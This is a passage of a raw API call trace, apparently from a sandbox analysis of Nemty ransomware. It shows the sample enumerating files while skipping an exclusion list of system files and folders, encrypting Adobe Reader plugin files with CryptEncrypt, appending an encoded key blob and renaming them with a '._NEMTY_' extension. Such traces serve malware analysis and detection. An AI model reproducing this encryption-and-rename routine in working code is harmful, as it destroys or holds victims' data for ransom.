ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc58440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x301190, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2=".") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="..") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="...") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="windows") returned -1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="$RECYCLE.BIN") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="rsa") returned -1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="NTDETECT.COM") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="ntldr") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="MSDOS.SYS") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="IO.SYS") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="boot.ini") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="boot.ini") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="AUTOEXEC.BAT") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="ntuser.dat") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="desktop.ini") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="CONFIG.SYS") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="RECYCLER") returned -1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="BOOTSECT.BAK") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="bootmgr") returned 1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="programdata") returned -1 [0193.169] lstrcmpiW (lpString1="prcr.x3d", lpString2="appdata") returned 1 [0193.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prcr.x3d", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prcr.x3d", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prcr.x3d", lpUsedDefaultChar=0x0) returned 8 [0193.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prcr.x3d", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prcr.x3d", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prcr.x3d", lpUsedDefaultChar=0x0) returned 8 [0193.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prcr.x3d", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prcr.x3d", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prcr.x3d", lpUsedDefaultChar=0x0) returned 8 [0193.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prcr.x3d", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prcr.x3d", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prcr.x3d", lpUsedDefaultChar=0x0) returned 8 [0193.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.170] Sleep (dwMilliseconds=0x5) [0193.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26c96750, dwHighDateTime=0x1d561e8)) [0193.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26c96750, dwHighDateTime=0x1d561e8)) [0193.173] GetLastError () returned 0x12 [0193.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.173] GetLastError () returned 0x12 [0193.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.173] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.173] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.173] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.173] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="EXSTDRVW6OlUT9hrLUvTeVuhDMqSTtZNXtqGRX9bORZKaaEUEVs3gilJNUsKmN52\r\n7RwXEvdQceVktvOmYY7lX78dZzF+YzAM5RYvKPh/p9zO+7iokJGU2DobkbhuGlN1\r\nBcQuiJ/FDV7Kyg1cXKBvVTUH2MufIlNkKLh2Ihno2MijyH1KOTzigwYMzGz3M7Mo\r\na4IMMo7wvGok93QTwYoBdIp5cKpvqTxsFqzJG3t0BToLPJFtCg22EJDfaLjC5nse\r\n+xzqH1x8m5Vqgt1HFL9PMPZRvlIT9dnROnJfRxffGfBE794qErni++ZsYwHjVPET\r\nnLEESHZKin9tiTWc+wfRoQ==\r\n", pcchString=0x653e91c) returned 1 [0193.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.173] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prcr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prcr.x3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.174] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=3150224) returned 1 [0193.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0193.174] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.174] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0193.184] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.184] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0193.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0193.185] SetFilePointer (in: hFile=0x254, lDistanceToMove=3150224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x301190 [0193.185] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.188] CloseHandle (hObject=0x254) returned 1 [0193.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.188] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prcr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prcr.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prcr.x3d._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prcr.x3d._nemty_kgobjgd_")) returned 1 [0193.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.189] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5798, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 1 [0193.189] lstrcmpiW (lpString1="tesselate.x3d", lpString2=".") returned 1 [0193.189] lstrcmpiW (lpString1="tesselate.x3d", lpString2="..") returned 1 [0193.189] lstrcmpiW (lpString1="tesselate.x3d", lpString2="...") returned 1 [0193.189] lstrcmpiW (lpString1="tesselate.x3d", lpString2="windows") returned -1 [0193.189] lstrcmpiW (lpString1="tesselate.x3d", lpString2="$RECYCLE.BIN") returned 1 [0193.189] lstrcmpiW (lpString1="tesselate.x3d", lpString2="rsa") returned 1 [0193.189] lstrcmpiW (lpString1="tesselate.x3d", lpString2="NTDETECT.COM") returned 1 [0193.189] lstrcmpiW (lpString1="tesselate.x3d", lpString2="ntldr") returned 1 [0193.190] lstrcmpiW (lpString1="tesselate.x3d", lpString2="MSDOS.SYS") returned 1 [0193.190] lstrcmpiW (lpString1="tesselate.x3d", lpString2="IO.SYS") returned 1 [0193.190] lstrcmpiW (lpString1="tesselate.x3d", lpString2="boot.ini") returned 1 [0193.190] lstrcmpiW (lpString1="tesselate.x3d", lpString2="boot.ini") returned 1 [0193.190] lstrcmpiW (lpString1="tesselate.x3d", lpString2="AUTOEXEC.BAT") returned 1 [0193.190] lstrcmpiW (lpString1="tesselate.x3d", lpString2="ntuser.dat") returned 1 [0193.190] lstrcmpiW (lpString1="tesselate.x3d", lpString2="desktop.ini") returned 1 [0193.190] lstrcmpiW (lpString1="tesselate.x3d", lpString2="CONFIG.SYS") returned 1 [0193.190] lstrcmpiW (lpString1="tesselate.x3d", lpString2="RECYCLER") returned 1 [0193.190] lstrcmpiW (lpString1="tesselate.x3d", lpString2="BOOTSECT.BAK") returned 1 [0193.190] lstrcmpiW (lpString1="tesselate.x3d", lpString2="bootmgr") returned 1 [0193.190] lstrcmpiW (lpString1="tesselate.x3d", lpString2="programdata") returned 1 [0193.190] lstrcmpiW (lpString1="tesselate.x3d", lpString2="appdata") returned 1 [0193.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tesselate.x3d", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tesselate.x3d", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tesselate.x3d", lpUsedDefaultChar=0x0) returned 13 [0193.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tesselate.x3d", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tesselate.x3d", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tesselate.x3d", lpUsedDefaultChar=0x0) returned 13 [0193.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tesselate.x3d", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tesselate.x3d", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tesselate.x3d", lpUsedDefaultChar=0x0) returned 13 [0193.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tesselate.x3d", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tesselate.x3d", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tesselate.x3d", lpUsedDefaultChar=0x0) returned 13 [0193.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0193.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.190] Sleep (dwMilliseconds=0x5) [0193.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26ce2a10, dwHighDateTime=0x1d561e8)) [0193.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26ce2a10, dwHighDateTime=0x1d561e8)) [0193.204] GetLastError () returned 0x0 [0193.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.204] GetLastError () returned 0x0 [0193.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.204] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.204] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.204] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.204] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="eNd35Ti3BThIbwJ5EEaLKYl9P5ZX/P6ppcrFZt4zZ8tAuzuILxUY3dIAIyHH/n/+\r\n51lcVfqIj8it/TZgD4oLKhktTXKkWlUKtAFFzaVIs9FPT7seajtVGCYQaQtp3651\r\nE8IqItM2fGKwY0geMlaMOHReojl3D1NhzEYXMvVwstffECp1qZuhYeSUOtVTAXQ/\r\nbA2NrLSrFyssPoC/iBQeNADQ5utFIcunbGOnDojITXdE+YNm1Ej54yJBWgWQ4IcA\r\n7ZPwS6FZUhq7Z0yLsyg+6cnDF9G9u1kE8pxA0YLMubsgQ/yELZyGvhZ+kdOVQ+2D\r\nLDm0pvsQ6PooRQut/Kttng==\r\n", pcchString=0x653e91c) returned 1 [0193.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.205] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\tesselate.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\tesselate.x3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.205] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=22424) returned 1 [0193.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5790) returned 0x6352c48 [0193.205] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.205] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5790, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x5790, lpOverlapped=0x0) returned 1 [0193.208] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.208] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5790, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x5790, lpOverlapped=0x0) returned 1 [0193.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0193.208] SetFilePointer (in: hFile=0x254, lDistanceToMove=22424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5798 [0193.208] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.208] CloseHandle (hObject=0x254) returned 1 [0193.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0193.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0193.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.208] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\tesselate.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\tesselate.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\tesselate.x3d._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\tesselate.x3d._nemty_kgobjgd_")) returned 1 [0193.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0193.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: 